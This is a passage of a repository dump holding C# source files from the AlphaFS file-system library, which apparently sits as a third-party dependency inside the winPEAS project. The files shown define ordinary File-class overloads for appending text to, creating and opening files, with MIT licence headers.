     /// <param name=\"contents\">The string to append to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void AppendAllText(string path, string contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(null, path, new[] {contents}, encoding, true, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendAllTextTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>[AlphaFS] Appends the specified string to the file, creating the file if it does not already exist.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to append the specified string to.</param>\n      /// <param name=\"contents\">The string to append to the file.</param>\n      [SecurityCritical]\n      public static void AppendAllTextTransacted(KernelTransaction transaction, string path, string contents)\n      {\n         WriteAppendAllLinesCore(transaction, path, new[] {contents}, NativeMethods.DefaultFileEncoding, true, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Appends the specified string to the file, creating the file if it does not already exist.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to append the specified string to.</param>\n      /// <param name=\"contents\">The string to append to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static void AppendAllTextTransacted(KernelTransaction transaction, string path, string contents, Encoding encoding)\n      {\n         WriteAppendAllLinesCore(transaction, path, new[] {contents}, encoding, true, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Appends the specified string to the file, creating the file if it does not already exist.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to append the specified string to.</param>\n      /// <param name=\"contents\">The string to append to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void AppendAllTextTransacted(KernelTransaction transaction, string path, string contents, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, new[] {contents}, NativeMethods.DefaultFileEncoding, true, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Appends the specified string to the file, creating the file if it does not already exist.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"SecurityException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to append the specified string to.</param>\n      /// <param name=\"contents\">The string to append to the file.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void AppendAllTextTransacted(KernelTransaction transaction, string path, string contents, Encoding encoding, PathFormat pathFormat)\n      {\n         WriteAppendAllLinesCore(transaction, path, new[] {contents}, encoding, true, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendText.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Creates a <see cref=\"StreamWriter\"/> that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist.</summary>\n      /// <returns>A stream writer that appends UTF-8 encoded text to the specified file or to a new file.</returns>\n      /// <exception cref=\"ArgumentException\">path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars.</exception>\n      /// <exception cref=\"ArgumentNullException\">path is null.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive).</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">The caller does not have the required permission.</exception>\n      /// <param name=\"path\">The path to the file to append to.</param>\n      [SecurityCritical]\n      public static StreamWriter AppendText(string path)\n      {\n         return AppendTextCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates a <see cref=\"StreamWriter\"/> that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist.</summary>\n      /// <returns>A stream writer that appends UTF-8 encoded text to the specified file or to a new file.</returns>\n      /// <exception cref=\"ArgumentException\">path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars.</exception>\n      /// <exception cref=\"ArgumentNullException\">path is null.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive).</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">The caller does not have the required permission.</exception>\n      /// <param name=\"path\">The path to the file to append to.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static StreamWriter AppendText(string path, PathFormat pathFormat)\n      {\n         return AppendTextCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a <see cref=\"StreamWriter\"/> that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist.</summary>\n      /// <returns>A stream writer that appends UTF-8 encoded text to the specified file or to a new file.</returns>\n      /// <exception cref=\"ArgumentException\">path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars.</exception>\n      /// <exception cref=\"ArgumentNullException\">path is null.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive).</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">The caller does not have the required permission.</exception>\n      /// <param name=\"path\">The path to the file to append to.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static StreamWriter AppendText(string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return AppendTextCore(null, path, encoding, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a <see cref=\"StreamWriter\"/> that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist.</summary>\n      /// <returns>A stream writer that appends UTF-8 encoded text to the specified file or to a new file.</returns>\n      /// <exception cref=\"ArgumentException\">path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars.</exception>\n      /// <exception cref=\"ArgumentNullException\">path is null.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive).</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">The caller does not have the required permission.</exception>\n      /// <param name=\"path\">The path to the file to append to.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static StreamWriter AppendText(string path, Encoding encoding)\n      {\n         return AppendTextCore(null, path, encoding, PathFormat.RelativePath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendTextTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Creates a <see cref=\"StreamWriter\"/> that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist.</summary>\n      /// <returns>A stream writer that appends UTF-8 encoded text to the specified file or to a new file.</returns>\n      /// <exception cref=\"ArgumentException\">path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars.</exception>\n      /// <exception cref=\"ArgumentNullException\">path is null.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive).</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">The caller does not have the required permission.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file to append to.</param>\n      [SecurityCritical]\n      public static StreamWriter AppendTextTransacted(KernelTransaction transaction, string path)\n      {\n         return AppendTextCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath);\n      }\n\n      \n      /// <summary>[AlphaFS] Creates a <see cref=\"StreamWriter\"/> that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist.</summary>\n      /// <returns>A stream writer that appends UTF-8 encoded text to the specified file or to a new file.</returns>\n      /// <exception cref=\"ArgumentException\">path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars.</exception>\n      /// <exception cref=\"ArgumentNullException\">path is null.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive).</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">The caller does not have the required permission.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file to append to.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static StreamWriter AppendTextTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return AppendTextCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a <see cref=\"StreamWriter\"/> that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist.</summary>\n      /// <returns>A stream writer that appends UTF-8 encoded text to the specified file or to a new file.</returns>\n      /// <exception cref=\"ArgumentException\">path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars.</exception>\n      /// <exception cref=\"ArgumentNullException\">path is null.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive).</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">The caller does not have the required permission.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file to append to.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      [SecurityCritical]\n      public static StreamWriter AppendTextTransacted(KernelTransaction transaction, string path, Encoding encoding)\n      {\n         return AppendTextCore(transaction, path, encoding, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a <see cref=\"StreamWriter\"/> that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist.</summary>\n      /// <returns>A stream writer that appends UTF-8 encoded text to the specified file or to a new file.</returns>\n      /// <exception cref=\"ArgumentException\">path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars.</exception>\n      /// <exception cref=\"ArgumentNullException\">path is null.</exception>\n      /// <exception cref=\"DirectoryNotFoundException\">The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive).</exception>\n      /// <exception cref=\"NotSupportedException\">path is in an invalid format.</exception>\n      /// <exception cref=\"UnauthorizedAccessException\">The caller does not have the required permission.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file to append to.</param>\n      /// <param name=\"encoding\">The character <see cref=\"Encoding\"/> to use.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static StreamWriter AppendTextTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return AppendTextCore(transaction, path, encoding, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AttributeLogic.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Checks that the <see cref=\"FileAttributes\"/> instance is valid.</summary>\n      internal static bool HasValidAttributes(FileAttributes fileAttributes)\n      {\n         return Utils.IsNotNull(fileAttributes) && !fileAttributes.Equals(NativeMethods.InvalidFileAttributes);\n      }\n\n\n      /// <summary>Checks that the file system object is a directory.</summary>\n      internal static bool IsDirectory(FileAttributes fileAttributes)\n      {\n         return HasValidAttributes(fileAttributes) && (fileAttributes & FileAttributes.Directory) != 0;\n      }\n\n\n      /// <summary>Checks that the file system object is hidden.</summary>\n      internal static bool IsHidden(FileAttributes fileAttributes)\n      {\n         return HasValidAttributes(fileAttributes) && (fileAttributes & FileAttributes.Hidden) != 0;\n      }\n      \n\n      /// <summary>Checks that the file system object is read-only.</summary>\n      internal static bool IsReadOnly(FileAttributes fileAttributes)\n      {\n         return HasValidAttributes(fileAttributes) && (fileAttributes & FileAttributes.ReadOnly) != 0;\n      }\n\n\n      /// <summary>Checks that the file system object is read-only or hidden.</summary>\n      internal static bool IsReadOnlyOrHidden(FileAttributes fileAttributes)\n      {\n         return IsReadOnly(fileAttributes) || IsHidden(fileAttributes);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Create.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing FileStream = System.IO.FileStream;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Creates or overwrites a file in the specified path.</summary>\n      /// <param name=\"path\">The path and name of the file to create.</param>\n      /// <returns>A <see cref=\"FileStream\"/> that provides read/write access to the file specified in <paramref name=\"path\"/>.</returns>\n      [SecurityCritical]\n      public static FileStream Create(string path)\n      {\n         return CreateFileStreamCore(null, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Creates or overwrites the specified file.</summary>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <returns>A <see cref=\"FileStream\"/> with the specified buffer size that provides read/write access to the file specified in <paramref name=\"path\"/>.</returns>\n      [SecurityCritical]\n      public static FileStream Create(string path, int bufferSize)\n      {\n         return CreateFileStreamCore(null, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Creates or overwrites the specified file, specifying a buffer size and a <see cref=\"FileOptions\"/> value that describes how to create or overwrite the file.</summary>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"options\">One of the <see cref=\"FileOptions\"/> values that describes how to create or overwrite the file.</param>\n      /// <returns>A new file with the specified buffer size.</returns>\n      [SecurityCritical]\n      public static FileStream Create(string path, int bufferSize, FileOptions options)\n      {\n         return CreateFileStreamCore(null, path, (ExtendedFileAttributes) options, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Creates or overwrites the specified file, specifying a buffer size and a <see cref=\"FileOptions\"/> value that describes how to create or overwrite the file.</summary>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"options\">One of the <see cref=\"FileOptions\"/> values that describes how to create or overwrite the file.</param>\n      /// <param name=\"fileSecurity\">One of the <see cref=\"FileSecurity\"/> values that determines the access control and audit security for the file.</param>\n      /// <returns>A new file with the specified buffer size, file options, and file security.</returns>\n      [SecurityCritical]\n      public static FileStream Create(string path, int bufferSize, FileOptions options, FileSecurity fileSecurity)\n      {\n         return CreateFileStreamCore(null, path, (ExtendedFileAttributes) options, fileSecurity, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates or overwrites a file in the specified path.</summary>\n      /// <param name=\"path\">The path and name of the file to create.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"FileStream\"/> that provides read/write access to the file specified in <paramref name=\"path\"/>.</returns>\n      [SecurityCritical]\n      public static FileStream Create(string path, PathFormat pathFormat)\n      {\n         return CreateFileStreamCore(null, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, NativeMethods.DefaultFileBufferSize, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites the specified file.</summary>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"FileStream\"/> with the specified buffer size that provides read/write access to the file specified in <paramref name=\"path\"/>.</returns>\n      [SecurityCritical]\n      public static FileStream Create(string path, int bufferSize, PathFormat pathFormat)\n      {\n         return CreateFileStreamCore(null, path, ExtendedFileAttributes.Normal, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a <see cref=\"FileOptions\"/> value that describes how to create or overwrite the file.</summary>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"options\">One of the <see cref=\"FileOptions\"/> values that describes how to create or overwrite the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A new file with the specified buffer size.</returns>\n      [SecurityCritical]\n      public static FileStream Create(string path, int bufferSize, FileOptions options, PathFormat pathFormat)\n      {\n         return CreateFileStreamCore(null, path, (ExtendedFileAttributes) options, null, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates or overwrites the specified file, specifying a buffer size and a <see cref=\"FileOptions\"/> value that describes how to create or overwrite the file.</summary>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <param name=\"options\">One of the <see cref=\"FileOptions\"/> values that describes how to create or overwrite the file.</param>\n      /// <param name=\"fileSecurity\">One of the <see cref=\"FileSecurity\"/> values that determines the access control and audit security for the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A new file with the specified buffer size, file options, and file security.</returns>\n      [SecurityCritical]\n      public static FileStream Create(string path, int bufferSize, FileOptions options, FileSecurity fileSecurity, PathFormat pathFormat)\n      {\n         return CreateFileStreamCore(null, path, (ExtendedFileAttributes) options, fileSecurity, FileMode.Create, FileAccess.ReadWrite, FileShare.None, bufferSize, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.CreateText.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\nusing System.Text;\nusing StreamWriter = System.IO.StreamWriter;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      #region .NET\n\n      /// <summary>Creates or opens a file for writing UTF-8 encoded text.</summary>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <returns>A StreamWriter that writes to the specified file using UTF-8 encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public static StreamWriter CreateText(string path)\n      {\n         return CreateTextCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates or opens a file for writing UTF-8 encoded text.</summary>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A StreamWriter that writes to the specified file using UTF-8 encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing 